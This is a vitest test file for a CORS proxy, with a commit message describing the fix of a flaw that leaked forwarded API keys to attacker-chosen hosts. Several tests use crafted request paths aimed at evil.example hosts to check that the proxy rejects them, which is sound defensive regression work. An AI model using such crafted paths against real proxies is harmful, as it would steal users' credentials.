shotluma/scripts/opencode-proxy.test.ts
caelum0x b76f1f3593 fix(security): pin the OpenCode CORS proxy to opencode.ai upstreams
A request path like /api/opencode/go/https://evil.com/steal made
joinUpstream's `new URL(relative, base)` discard `base` entirely
(WHATWG URL semantics for an absolute URL segment), so the proxy would
forward the request's authorization/x-api-key/x-goog-api-key headers
to an attacker-chosen host instead of opencode.ai. This runs live in
production via scripts/shotluma-worker.ts on app.shotluma.com.

Reject any resolved upstream whose origin does not match the intended
opencode.ai origin, and add regression tests covering absolute,
protocol-relative, and plain adversarial path segments plus a
worker-level test asserting no outbound fetch happens for the crafted
path.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
2026-10-20 16:09:51 +03:00

175 lines
7.0 KiB
TypeScript

import { describe, expect, it, vi } from 'vitest'
import {
copyOpencodeProxyHeaders,
isOpencodeProxyMethod,
proxyOpencodeRequest,
rewriteOpencodeProxyUrl,
} from './opencode-proxy'
describe('OpenCode CORS proxy rewrite', () => {
it('maps Zen and Go prefixes onto the public OpenCode origins', () => {
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen/v1/chat/completions'),
)?.toString()).toBe('https://opencode.ai/zen/v1/chat/completions')
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go/v1/models?foo=1'),
)?.toString()).toBe('https://opencode.ai/zen/go/v1/models?foo=1')
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen'),
)?.toString()).toBe('https://opencode.ai/zen/')
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/moonshot/v1/chat/completions'),
)).toBeNull()
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go'),
)?.toString()).toBe('https://opencode.ai/zen/go/')
})
it('maps every dialect path each gateway serves', () => {
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go/v1/responses'),
)?.toString()).toBe('https://opencode.ai/zen/go/v1/responses')
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen/v1/messages'),
)?.toString()).toBe('https://opencode.ai/zen/v1/messages')
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen/v1/models/gemini-3.7-flash:streamGenerateContent'),
)?.toString()).toBe('https://opencode.ai/zen/v1/models/gemini-3.7-flash:streamGenerateContent')
})
it('does not treat a zen path as go', () => {
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen/v1/models'),
)?.toString()).toBe('https://opencode.ai/zen/v1/models')
})
it('never resolves to a host other than opencode.ai, even from an adversarial path', () => {
// A literal absolute URL in the path segment would otherwise make
// `new URL(relative, base)` discard `base` and hijack the upstream host,
// carrying the forwarded Authorization/x-api-key headers to it.
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go/https://evil.example/steal'),
)).toBeNull()
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/zen/https://evil.example/steal'),
)).toBeNull()
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go/http://evil.example/steal'),
)).toBeNull()
// A protocol-relative segment (`//evil.example`) must stay anchored to the
// opencode.ai origin as a path, not be interpreted as a new host.
expect(rewriteOpencodeProxyUrl(
new URL('https://app.shotluma.com/api/opencode/go//evil.example/steal'),
)?.toString()).toBe('https://opencode.ai/zen/go/evil.example/steal')
})
})
describe('OpenCode CORS proxy headers and methods', () => {
it('forwards only the allowlisted request headers', () => {
const headers = copyOpencodeProxyHeaders(new Headers({
authorization: 'Bearer test-key',
'content-type': 'application/json',
accept: 'text/event-stream',
'x-opencode-session': 'shotluma-test-session',
cookie: 'session=secret',
host: 'app.shotluma.com',
}))
expect(Object.fromEntries(headers.entries())).toEqual({
authorization: 'Bearer test-key',
'content-type': 'application/json',
accept: 'text/event-stream',
'x-opencode-session': 'shotluma-test-session',
})
})
it('forwards the Anthropic and Google credentials the other dialects use', () => {
const headers = copyOpencodeProxyHeaders(new Headers({
'x-api-key': 'sk-test',
'anthropic-version': '2023-06-01',
'anthropic-beta': 'fine-grained-tool-streaming-2025-05-14',
'x-goog-api-key': 'goog-test',
origin: 'https://evil.example',
}))
expect(Object.fromEntries(headers.entries())).toEqual({
'x-api-key': 'sk-test',
'anthropic-version': '2023-06-01',
'anthropic-beta': 'fine-grained-tool-streaming-2025-05-14',
'x-goog-api-key': 'goog-test',
})
})
it('allows GET, POST, and OPTIONS only', () => {
expect(isOpencodeProxyMethod('get')).toBe(true)
expect(isOpencodeProxyMethod('POST')).toBe(true)
expect(isOpencodeProxyMethod('OPTIONS')).toBe(true)
expect(isOpencodeProxyMethod('PUT')).toBe(false)
})
it('answers OPTIONS without contacting OpenCode', async () => {
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
const response = await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/opencode/zen/v1/models',
{ method: 'OPTIONS' },
))
expect(response.status).toBe(204)
expect(fetchMock).not.toHaveBeenCalled()
vi.unstubAllGlobals()
})
it('rejects unsupported methods and unknown paths', async () => {
expect((await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/opencode/zen/v1/models',
{ method: 'DELETE' },
))).status).toBe(405)
expect((await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/moonshot/v1/models',
{ method: 'GET' },
))).status).toBe(404)
})
it('rejects a crafted path trying to redirect the upstream host, without forwarding the request or its credentials', async () => {
const fetchMock = vi.fn()
vi.stubGlobal('fetch', fetchMock)
const response = await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/opencode/go/https://evil.example/steal',
{ method: 'POST', headers: { authorization: 'Bearer victim-key' } },
))
expect(response.status).toBe(404)
expect(fetchMock).not.toHaveBeenCalled()
vi.unstubAllGlobals()
})
it('forwards GET and POST to the rewritten OpenCode origin', async () => {
const fetchMock = vi.fn().mockResolvedValue(new Response('ok', { status: 200 }))
vi.stubGlobal('fetch', fetchMock)
const getResponse = await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/opencode/go/v1/models',
{ method: 'GET', headers: { authorization: 'Bearer test-key' } },
))
expect(getResponse.status).toBe(200)
expect(fetchMock).toHaveBeenCalledTimes(1)
const [getUrl, getInit] = fetchMock.mock.calls[0] as [URL, RequestInit]
expect(getUrl.toString()).toBe('https://opencode.ai/zen/go/v1/models')
expect(getInit.method).toBe('GET')
expect(getInit.body).toBeUndefined()
await proxyOpencodeRequest(new Request(
'https://app.shotluma.com/api/opencode/zen/v1/chat/completions',
{
method: 'POST',
headers: { 'content-type': 'application/json' },
body: '{"model":"kimi-k3"}',
},
))
const [, postInit] = fetchMock.mock.calls[1] as [URL, RequestInit & { duplex?: string }]
expect(postInit.method).toBe('POST')
expect(postInit.body).toBeDefined()
expect(postInit.duplex).toBe('half')
vi.unstubAllGlobals()
})
})